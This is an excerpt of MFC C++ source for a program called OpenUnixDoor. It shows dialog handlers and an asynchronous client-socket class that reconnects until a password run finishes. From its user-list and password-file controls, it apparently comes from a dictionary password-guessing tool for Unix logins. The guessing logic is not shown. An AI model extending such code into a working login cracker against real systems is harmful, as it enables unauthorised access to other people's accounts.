GetDlgItem(IDC_CHECK_USER)->EnableWindow(FALSE);
GetDlgItem(IDC_BT_USERDIR)->EnableWindow(FALSE);
GetDlgItem(IDC_COMBO_PASS)->EnableWindow(FALSE);
GetDlgItem(IDC_ET_PASSFLDIR)->EnableWindow(FALSE);
GetDlgItem(IDC_BT_PASSDIR)->EnableWindow(FALSE);
GetDlgItem(IDC_ET_PASSCOUNT)->EnableWindow(FALSE);
GetDlgItem(IDC_SPIN_PASS)->EnableWindow(FALSE);
GetDlgItem(IDC_BT_BEGIN)->EnableWindow(FALSE);
}
/////////////////////////////////////////////////////////////////////////////
// CHelpDlg dialog
… …
/////////////////////////////////////////////////////////////////////////////
// CHelpDlg message handlers
int CHelpDlg::DoModal()
{
return CDialog::DoModal();
}
BOOL CHelpDlg::OnInitDialog()
{
CDialog::OnInitDialog();
CString strHelp;
strHelp.LoadString(IDS_HELP);
m_Edit_HelpCtr.ReplaceSel(strHelp.operator LPCTSTR());
return TRUE; // return TRUE unless you set the focus to a control
}
void CHelpDlg::OnBtMypro()
{
CAboutDlg dlg;
dlg.DoModal();
}
/////////////////////////
//
// ClientSocket.h : header file
//
/////////////////////////
/*
*OpenUnixDoor Developer: DING Xiaoping
*Send comments and/or bug reports to:
northsouth@163.com */
class COpenUnixDoorDlg;
class CClientSocket : public CAsyncSocket
{
… …
public:
CClientSocket(COpenUnixDoorDlg *pDlg);
virtual ~CClientSocket();
// Overrides
public:
COpenUnixDoorDlg *lpDlg;
// ClassWizard generated virtual function overrides
//{{AFX_VIRTUAL(CClientSocket)
public:
virtual void OnClose(int nErrorCode);
virtual void OnOutOfBandData(int nErrorCode);
virtual void OnReceive(int nErrorCode);
virtual void OnSend(int nErrorCode);
//}}AFX_VIRTUAL
// Generated message map functions
//{{AFX_MSG(CClientSocket)
// NOTE - the ClassWizard will add and remove member functions here.
//}}AFX_MSG
// Implementation
protected:
};
//////////////////////
//
// ClientSocket.cpp
//
//////////////////////////
/*
*OpenUnixDoor Developer: DING Xiaoping
*Send comments and/or bug reports to:
northsouth@163.com */
#include "stdafx.h"
#include "OpenUnixDoor.h"
#include "ClientSocket.h"
#include "OpenUnixDoorDlg.h"
CClientSocket::CClientSocket(COpenUnixDoorDlg *pDlg)
{
lpDlg=pDlg;
}
void CClientSocket::OnClose(int nErrorCode)
{
CAsyncSocket::OnClose(nErrorCode);
if(lpDlg->bPassFinished)lpDlg->CloseSocket();
//else if(lpDlg->bIsStop)return ;
else lpDlg->ReConnect();
}
void CClientSocket::OnOutOfBandData(int nErrorCode)
{
CAsyncSocket::OnOutOfBandData(nErrorCode);
}
void CClientSocket::OnReceive(int nErrorCode)
{
lpDlg->ReceiveData(this);
}
void CClientSocket::OnSend(int nErrorCode)
{
CAsyncSocket::OnSend(nErrorCode);
}
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